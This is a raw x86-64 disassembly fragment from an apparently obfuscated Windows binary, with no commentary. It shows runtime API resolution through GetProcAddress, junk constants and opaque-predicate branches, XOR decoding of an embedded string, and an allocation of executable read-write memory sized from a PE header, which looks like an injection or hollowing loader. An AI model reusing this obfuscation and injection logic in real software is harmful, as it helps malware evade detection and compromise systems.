mov dword [rsp + 0xbe4], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0xbe0], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xbe0]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xbe4]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x2b8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x598], eax
jmp 0x140025c04
mov dword [rsp + 0x598], 1
movsxd rax, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x208]
mov edx, dword [rsp + 0x598]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x60]
mov rdx, qword [rsp + 0x208]
mov dword [rdx + rcx*4], eax
jmp 0x140024622
mov rax, qword [rsp + 0x718]
mov byte [rax + 4], 1
mov eax, 4
imul rax, rax, 0
mov rcx, qword [rsp + 0x718]
mov eax, dword [rcx + rax]
mov dword [rsp + 0xbe8], eax
lea rax, [rsp + 0x1b48]
mov ecx, dword [rsp + 0xbe8]
mov qword [rsp + 0x17e8], rcx
lea rdx, [0x140132e40]
mov rcx, rax
mov rax, qword [rsp + 0x17e8]
call qword [rdx + rax*8]
mov rdx, rax
mov rcx, qword [rsp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x1550], rax
cmp qword [rsp + 0x1550], 0
jne 0x140025cb0
xor al, al
jmp 0x14002fed5
mov dword [rsp + 0x6a4], 0x56b5
mov dword [rsp + 0xbec], 0x441a
mov dword [rsp + 0xbf0], 0x4acc
mov eax, dword [rsp + 0xbec]
mov dword [rsp + 0x6a4], eax
cmp dword [rsp + 0x6a4], 0
je 0x140025cf4
mov dword [rsp + 0xbf0], 0x3545
mov dword [rsp + 0x26c], 0
jmp 0x140025d11
mov eax, dword [rsp + 0x26c]
inc eax
mov dword [rsp + 0x26c], eax
cmp dword [rsp + 0x26c], 0xf
jge 0x140025d2f
movsxd rax, dword [rsp + 0x26c]
xor ecx, ecx
mov word [rsp + rax*2 + 0x1b48], cx
jmp 0x140025d01
mov rax, qword [rsp + 0xd0]
mov eax, dword [rax + 0x50]
mov rcx, qword [rsp + 0xd0]
mov ecx, dword [rcx + 0x34]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
mov edx, ecx
mov rcx, qword [rsp + 0x768]
call qword [rsp + 0x1550]
mov qword [rsp + 0x260], rax
cmp qword [rsp + 0x260], 0
jne 0x1400276b6
lea rax, [rsp + 0x4b4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x1b68]
lea rcx, str.bRJTSU_I_o2._76F
mov rdi, rax
mov rsi, rcx
mov ecx, 0x22
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x1a1]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov dword [rsp + 0x6a8], 0x93a9
mov dword [rsp + 0xbf4], 0x2f2d
mov dword [rsp + 0xbf8], 0x5bc8
mov eax, dword [rsp + 0xbf4]
mov dword [rsp + 0x6a8], eax
cmp dword [rsp + 0x6a8], 0
je 0x140025e06
mov dword [rsp + 0xbf8], 0x63ad
mov dword [rsp + 0x6ac], 0x43cc
mov dword [rsp + 0xbfc], 0x3b4c
mov dword [rsp + 0xc00], 0x45d2
mov eax, dword [rsp + 0xbfc]
mov dword [rsp + 0x6ac], eax
cmp dword [rsp + 0x6ac], 0
je 0x140025e4a
mov dword [rsp + 0xc00], 0x4e60
mov eax, 2
imul rax, rax, 0x10
movzx eax, word [rsp + rax + 0x1b68]
test eax, eax
je 0x140025e6c
mov dword [rsp + 0x6b0], 1
jmp 0x140025e77
mov dword [rsp + 0x6b0], 0
movzx eax, byte [rsp + 0x6b0]
test eax, eax
je 0x140025f3a
mov dword [rsp + 0x6b4], 0x65d6
mov dword [rsp + 0xc04], 0x88c8
mov dword [rsp + 0xc08], 0x6e8c
mov eax, dword [rsp + 0xc04]
mov dword [rsp + 0x6b4], eax
cmp dword [rsp + 0x6b4], 0
je 0x140025ecb
mov dword [rsp + 0xc08], 0x9ca6
mov dword [rsp + 0x1d4], 0
jmp 0x140025ee8
mov eax, dword [rsp + 0x1d4]
inc eax
mov dword [rsp + 0x1d4], eax
cmp dword [rsp + 0x1d4], 0x11
jge 0x140025f3a
movsxd rax, dword [rsp + 0x1d4]
movzx eax, word [rsp + rax*2 + 0x1b68]
mov dword [rsp + 0xc0c], eax
mov eax, dword [rsp + 0x1d4]
cdq
mov ecx, 0x35
idiv ecx
mov eax, edx
add eax, 0x36
mov ecx, dword [rsp + 0xc0c]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x1d4]
mov word [rsp + rcx*2 + 0x1b68], ax
jmp 0x140025ed8
lea rcx, [rsp + 0x1a1]
call fcn.140030438
mov qword [rsp + 0x720], rax
mov rax, qword [rsp + 0x720]
movzx eax, byte [rax + 4]
test eax, eax
jne 0x14002758d
mov rax, qword [rsp + 0x720]
mov qword [rsp + 0x210], rax
mov dword [rsp + 0x64], 0
jmp 0x140025f87
mov eax, dword [rsp + 0x64]
inc eax
mov dword [rsp + 0x64], eax
movsxd rax, dword [rsp + 0x64]
cmp rax, 1
jae 0x14002758d
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0xc10], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0xc10]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xc14], eax
call fcn.14001b988
movsx eax, al
shl eax, 1
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0xc14]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xc18], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0xc18]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14002634f
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140108398]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x2c0], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xc1c], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xc1c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xc24], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0xc20], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xc20]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xc24]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x140026279
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0xc28], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0xc28]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xc2c], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0xc2c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xc30], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0xc30]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140026279
mov dword [rsp + 0xcc], 0
jmp 0x14002613b
cmp dword [rsp + 0xcc], 4
jae 0x140026274
cvtsi2sd xmm0, dword [rsp + 0xcc]
movsd xmm1, qword [rsp + 0x2c0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x17f0], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x17f0]
ucomisd xmm1, xmm0
jp 0x1400261b6
jne 0x1400261b6
mov eax, dword [rsp + 0xcc]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x2c0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x2c0], xmm0
jmp 0x140026035
cvtsi2sd xmm0, dword [rsp + 0xcc]
movsd xmm1, qword [rsp + 0x2c0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x17f8], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x17f8]
ucomisd xmm1, xmm0
jp 0x14002621e
jne 0x14002621e
mov eax, dword [rsp + 0xcc]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x2c0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x2c0], xmm0
jmp 0x140026234
xor eax, eax
test eax, eax
je 0x140026230
jmp 0x14002631b
jmp 0x14002625d
cvtsi2sd xmm0, dword [rsp + 0xcc]
movsd xmm1, qword [rsp + 0x2c0]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x594], eax
jmp 0x140026326
xor eax, eax
cmp eax, 1
je 0x14002626a
jmp 0x140026279
jmp 0x140026035
jmp 0x140026035
xor eax, eax
cmp eax, 1
je 0x14002631b
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xc34], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xc34]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xc3c], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0xc38], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xc38]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xc3c]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x2c0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x594], eax
jmp 0x140026326
mov dword [rsp + 0x594], 1
movsxd rax, dword [rsp + 0x64]
mov rcx, qword [rsp + 0x210]
mov edx, dword [rsp + 0x594]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x64]
mov rdx, qword [rsp + 0x210]
mov dword [rdx + rcx*4], eax
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xc40], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xc40]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xc48], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 3
mov dword [rsp + 0xc44], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xc44]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xc48]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x1400271ce
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0xc4c], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0xc4c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xc50], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 7
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0xc50]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xc54], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0xc54]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140026784
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140108390]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x2c8], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xc58], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xc58]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xc60], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0xc5c], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xc5c]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xc60]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x1400266ae
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0xc64], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0xc64]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xc68], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0xc68]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xc6c], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0xc6c]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x1400266ae
mov dword [rsp + 0xc8], 0
jmp 0x140026570
cmp dword [rsp + 0xc8], 4
jae 0x1400266a9
cvtsi2sd xmm0, dword [rsp + 0xc8]
movsd xmm1, qword [rsp + 0x2c8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1800], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1800]
ucomisd xmm1, xmm0
jp 0x1400265eb
jne 0x1400265eb
mov eax, dword [rsp + 0xc8]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x2c8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x2c8], xmm0
jmp 0x14002646a
cvtsi2sd xmm0, dword [rsp + 0xc8]
movsd xmm1, qword [rsp + 0x2c8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1808], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1808]
ucomisd xmm1, xmm0
jp 0x140026653
jne 0x140026653
mov eax, dword [rsp + 0xc8]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x2c8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x2c8], xmm0
jmp 0x140026669
xor eax, eax
test eax, eax
je 0x140026665
jmp 0x140026750
jmp 0x140026692
cvtsi2sd xmm0, dword [rsp + 0xc8]
movsd xmm1, qword [rsp + 0x2c8]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x590], eax
jmp 0x14002675b
xor eax, eax
cmp eax, 1
je 0x14002669f
jmp 0x1400266ae
jmp 0x14002646a
jmp 0x14002646a
xor eax, eax
cmp eax, 1
je 0x140026750
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xc70], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xc70]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xc78], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0xc74], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xc74]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xc78]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x2c8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x590], eax
jmp 0x14002675b
mov dword [rsp + 0x590], 1
movsxd rax, dword [rsp + 0x64]
mov rcx, qword [rsp + 0x210]
mov edx, dword [rsp + 0x590]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x64]
mov rdx, qword [rsp + 0x210]
mov dword [rdx + rcx*4], eax
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0xc7c], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0xc7c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xc80], eax
call fcn.14001b988
movsx eax, al
shl eax, 3
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0xc80]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xc84], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0xc84]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140026b3e
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140108388]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x2d0], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xc88], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xc88]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xc90], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0xc8c], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xc8c]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xc90]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x140026a68
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0xc94], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0xc94]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xc98], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0xc98]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xc9c], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0xc9c]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140026a68
mov dword [rsp + 0xc4], 0
jmp 0x14002692a
cmp dword [rsp + 0xc4], 4
jae 0x140026a63
cvtsi2sd xmm0, dword [rsp + 0xc4]
movsd xmm1, qword [rsp + 0x2d0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1810], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1810]
ucomisd xmm1, xmm0
jp 0x1400269a5
jne 0x1400269a5
mov eax, dword [rsp + 0xc4]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x2d0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x2d0], xmm0
jmp 0x140026824
cvtsi2sd xmm0, dword [rsp + 0xc4]
movsd xmm1, qword [rsp + 0x2d0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1818], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1818]
ucomisd xmm1, xmm0
jp 0x140026a0d
jne 0x140026a0d
mov eax, dword [rsp + 0xc4]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x2d0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x2d0], xmm0
jmp 0x140026a23
xor eax, eax
test eax, eax
je 0x140026a1f
jmp 0x140026b0a
jmp 0x140026a4c
cvtsi2sd xmm0, dword [rsp + 0xc4]
movsd xmm1, qword [rsp + 0x2d0]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x58c], eax
jmp 0x140026b15
xor eax, eax
cmp eax, 1
je 0x140026a59
jmp 0x140026a68
jmp 0x140026824
jmp 0x140026824
xor eax, eax
cmp eax, 1
je 0x140026b0a
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xca0], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xca0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xca8], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0xca4], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xca4]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xca8]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x2d0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x58c], eax
jmp 0x140026b15
mov dword [rsp + 0x58c], 1
movsxd rax, dword [rsp + 0x64]
mov rcx, qword [rsp + 0x210]
mov edx, dword [rsp + 0x58c]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x64]
mov rdx, qword [rsp + 0x210]
mov dword [rdx + rcx*4], eax
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
mov eax, dword [rsp + 0x64]
sub eax, 0x75
cvtsi2sd xmm1, eax
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x2d8], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xcac], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xcac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcb4], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0xcb0], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xcb0]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xcb4]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x140026db7
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0xcb8], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0xcb8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcbc], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0xcbc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcc0], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0xcc0]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140026db7
mov dword [rsp + 0xc0], 0
jmp 0x140026c79
cmp dword [rsp + 0xc0], 4
jae 0x140026db2
cvtsi2sd xmm0, dword [rsp + 0xc0]
movsd xmm1, qword [rsp + 0x2d8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1820], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1820]
ucomisd xmm1, xmm0
jp 0x140026cf4
jne 0x140026cf4
mov eax, dword [rsp + 0xc0]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x2d8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x2d8], xmm0
jmp 0x140026b73
cvtsi2sd xmm0, dword [rsp + 0xc0]
movsd xmm1, qword [rsp + 0x2d8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1828], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1828]
ucomisd xmm1, xmm0
jp 0x140026d5c
jne 0x140026d5c
mov eax, dword [rsp + 0xc0]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x2d8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x2d8], xmm0
jmp 0x140026d72
xor eax, eax
test eax, eax
je 0x140026d6e
jmp 0x140026e59
jmp 0x140026d9b
cvtsi2sd xmm0, dword [rsp + 0xc0]
movsd xmm1, qword [rsp + 0x2d8]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x588], eax
jmp 0x140026e64
xor eax, eax
cmp eax, 1
je 0x140026da8
jmp 0x140026db7
jmp 0x140026b73
jmp 0x140026b73
xor eax, eax
cmp eax, 1
je 0x140026e59
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xcc4], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xcc4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xccc], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0xcc8], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xcc8]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xccc]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x2d8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x588], eax
jmp 0x140026e64
mov dword [rsp + 0x588], 1
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
mov eax, dword [rsp + 0x64]
sub eax, 0x75
cvtsi2sd xmm1, eax
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x2e0], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xcd0], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xcd0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd8], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0xcd4], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xcd4]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xcd8]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x1400270dd
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0xcdc], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0xcdc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xce0], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0xce0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xce4], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0xce4]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x1400270dd
mov dword [rsp + 0xbc], 0
jmp 0x140026f9f
cmp dword [rsp + 0xbc], 4
jae 0x1400270d8
cvtsi2sd xmm0, dword [rsp + 0xbc]
movsd xmm1, qword [rsp + 0x2e0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1830], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1830]
ucomisd xmm1, xmm0
jp 0x14002701a
jne 0x14002701a
mov eax, dword [rsp + 0xbc]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x2e0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x2e0], xmm0
jmp 0x140026e99
cvtsi2sd xmm0, dword [rsp + 0xbc]
movsd xmm1, qword [rsp + 0x2e0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1838], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1838]
ucomisd xmm1, xmm0
jp 0x140027082
jne 0x140027082
mov eax, dword [rsp + 0xbc]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x2e0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x2e0], xmm0
jmp 0x140027098
xor eax, eax
test eax, eax
je 0x140027094
jmp 0x14002717f
jmp 0x1400270c1
cvtsi2sd xmm0, dword [rsp + 0xbc]
